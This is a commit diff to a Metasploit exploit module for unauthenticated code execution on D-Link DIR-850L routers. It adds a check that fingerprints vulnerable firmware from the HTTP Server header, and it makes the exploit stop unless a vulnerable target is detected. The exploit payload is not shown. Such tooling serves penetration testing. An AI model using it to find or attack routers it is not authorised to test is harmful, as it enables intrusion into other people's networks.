Update dlink_850l_unauth_exec.rb
parent
cddec8ca6c
commit
84599ed3fc
|
@ -55,6 +55,28 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/',
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
if res && res.headers['Server']
|
||||||
|
auth = res.headers['Server']
|
||||||
|
if auth =~ /DIR-850L/
|
||||||
|
if auth =~ /WEBACCESS\/1\.0/
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
def report_cred(opts)
|
def report_cred(opts)
|
||||||
service_data = {
|
service_data = {
|
||||||
address: opts[:ip],
|
address: opts[:ip],
|
||||||
|
@ -197,6 +219,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
|
||||||
|
print_status("#{peer} - Connecting to target...")
|
||||||
|
|
||||||
|
unless check == Exploit::CheckCode::Detected
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Information Retrieval, obtains creds and logs in
|
# Information Retrieval, obtains creds and logs in
|
||||||
#
|
#
|
||||||
|
|
Loading…
Reference in New Issue